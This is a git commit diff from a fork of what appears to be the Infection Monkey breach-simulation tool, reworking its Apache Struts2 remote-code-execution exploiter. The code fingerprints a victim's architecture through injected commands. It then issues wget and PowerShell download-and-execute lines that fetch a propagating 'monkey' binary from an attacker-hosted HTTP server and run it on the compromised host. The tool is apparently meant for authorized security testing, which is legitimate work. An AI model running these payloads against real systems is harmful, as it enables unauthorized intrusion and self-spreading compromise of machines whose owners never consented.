forked from p15670423/monkey
Struts exploitation working, and tested with win-64 and ubuntu
This commit is contained in:
parent
413bdd9254
commit
2d27972e7e
|
@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y"
|
||||||
# Commands used for downloading monkeys
|
# Commands used for downloading monkeys
|
||||||
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
|
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
|
||||||
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
|
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
|
||||||
# Command used to check whether host is vulnerable
|
|
||||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
|
||||||
# Commands used to check for architecture
|
# Commands used to check for architecture
|
||||||
CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING
|
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
|
||||||
CHECK_LINUX = "%s && lscpu" % ID_STRING
|
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
|
||||||
# Commands used to check if monkeys already exists
|
# Commands used to check if monkeys already exists
|
||||||
EXISTS = "ls %s"
|
EXISTS = "ls %s"
|
||||||
|
|
||||||
|
@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter):
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
# TODO add skip if file exists
|
|
||||||
# Initializing vars for convenience
|
# Initializing vars for convenience
|
||||||
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
|
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
|
||||||
dropper_path_linux = self._config.dropper_target_path_linux
|
dropper_path_linux = self._config.dropper_target_path_linux
|
||||||
|
@ -65,21 +62,35 @@ class Struts2Exploiter(HostExploiter):
|
||||||
# TODO remove struts from url
|
# TODO remove struts from url
|
||||||
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
|
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
|
||||||
# Get full URL
|
# Get full URL
|
||||||
current_host = self.get_redirected(current_host)
|
url = self.get_redirected(current_host)
|
||||||
# Get os architecture so that we don't have to update monkey
|
# Get os architecture so that we don't have to update monkey
|
||||||
|
|
||||||
LOG.info("Trying to exploit with struts2")
|
LOG.info("Trying to exploit with struts2")
|
||||||
# Check if host is vulnerable and get host os architecture
|
# Check if host is vulnerable and get host os architecture
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
host_arch = Struts2Exploiter.try_exploit_linux(current_host)
|
return self.exploit_linux(url, dropper_path_linux)
|
||||||
else:
|
else:
|
||||||
host_arch = Struts2Exploiter.try_exploit_windows(current_host)
|
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
||||||
|
|
||||||
|
def check_remote_file(self, host, path):
|
||||||
|
command = EXISTS % path
|
||||||
|
resp = self.exploit(host, command)
|
||||||
|
if 'No such file' in resp:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit_linux(self, url, dropper_path):
|
||||||
|
host_arch = Struts2Exploiter.check_exploit_linux(url)
|
||||||
if host_arch:
|
if host_arch:
|
||||||
self.host.os['machine'] = host_arch
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
if current_host and host_arch:
|
|
||||||
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist and (self.check_remote_file(url, dropper_path)):
|
||||||
|
return True
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
src_path = get_target_monkey(self.host)
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
@ -93,20 +104,10 @@ class Struts2Exploiter(HostExploiter):
|
||||||
|
|
||||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
# Form command according to os
|
command = WGET_HTTP % {'monkey_path': dropper_path,
|
||||||
if 'linux' in self.host.os['type']:
|
|
||||||
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)):
|
|
||||||
return True
|
|
||||||
command = WGET_HTTP % {'monkey_path': dropper_path_linux,
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
|
||||||
else:
|
|
||||||
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32)
|
|
||||||
or self.check_remote_file(current_host, dropper_path_win_64)):
|
|
||||||
return True
|
|
||||||
command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32),
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
self.exploit(current_host, command)
|
self.exploit(url, command, RESPONSE_TIMEOUT)
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
|
@ -116,17 +117,56 @@ class Struts2Exploiter(HostExploiter):
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def check_remote_file(self, host, path):
|
def exploit_windows(self, url, dropper_paths):
|
||||||
command = EXISTS % path
|
"""
|
||||||
resp = self.exploit(host, command)
|
:param url: Where to send malicious request
|
||||||
if 'No such file' in resp:
|
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
|
||||||
return False
|
:return: Bool. Successfully exploited or not
|
||||||
else:
|
"""
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
host_arch = Struts2Exploiter.check_exploit_windows(url)
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist:
|
||||||
|
for dropper_path in dropper_paths:
|
||||||
|
if self.check_remote_file(url, dropper_path):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# Select the dir and name for monkey on the host
|
||||||
|
if "windows-32" in src_path:
|
||||||
|
dropper_path = dropper_paths[0]
|
||||||
|
else:
|
||||||
|
dropper_path = dropper_paths[1]
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
|
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
# TODO Add timeout
|
||||||
|
self.exploit(url, command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def try_exploit_windows(url):
|
def check_exploit_windows(url):
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
||||||
if resp and ID_STRING in resp:
|
if resp and ID_STRING in resp:
|
||||||
if "64-bit" in resp:
|
if "64-bit" in resp:
|
||||||
|
@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def try_exploit_linux(url):
|
def check_exploit_linux(url):
|
||||||
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
||||||
if resp and ID_STRING in resp:
|
if resp and ID_STRING in resp:
|
||||||
if "x86_64" in resp:
|
# Pulls architecture string
|
||||||
return "64"
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
else:
|
arch = arch.group(1)
|
||||||
return "32"
|
return arch
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
:param url: Full url to send request to
|
:param url: Full url to send request to
|
||||||
:param cmd: Code to try and execute on host
|
:param cmd: Code to try and execute on host
|
||||||
:param timeout: How long to wait for response in seconds(if monkey is executed
|
:param timeout: How long to wait for response in seconds(if monkey is being executed
|
||||||
it's better not to wait it's whole output
|
it's better not to wait it's whole output). By default we wait.
|
||||||
:return: response
|
:return: response
|
||||||
"""
|
"""
|
||||||
page = ""
|
page = ""
|
||||||
|
|
|
@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [
|
||||||
'machine': 'i686',
|
'machine': 'i686',
|
||||||
'filename': 'monkey-linux-32',
|
'filename': 'monkey-linux-32',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
'type': 'linux',
|
||||||
|
'machine': 'i386',
|
||||||
|
'filename': 'monkey-linux-32',
|
||||||
|
},
|
||||||
{
|
{
|
||||||
'type': 'linux',
|
'type': 'linux',
|
||||||
'filename': 'monkey-linux-64',
|
'filename': 'monkey-linux-64',
|
||||||
|
@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [
|
||||||
'machine': 'amd64',
|
'machine': 'amd64',
|
||||||
'filename': 'monkey-windows-64.exe',
|
'filename': 'monkey-windows-64.exe',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
'type': 'windows',
|
||||||
|
'machine': '64',
|
||||||
|
'filename': 'monkey-windows-64.exe',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'type': 'windows',
|
||||||
|
'machine': '32',
|
||||||
|
'filename': 'monkey-windows-32.exe',
|
||||||
|
},
|
||||||
{
|
{
|
||||||
'type': 'windows',
|
'type': 'windows',
|
||||||
'filename': 'monkey-windows-32.exe',
|
'filename': 'monkey-windows-32.exe',
|
||||||
|
|
Loading…
Reference in New Issue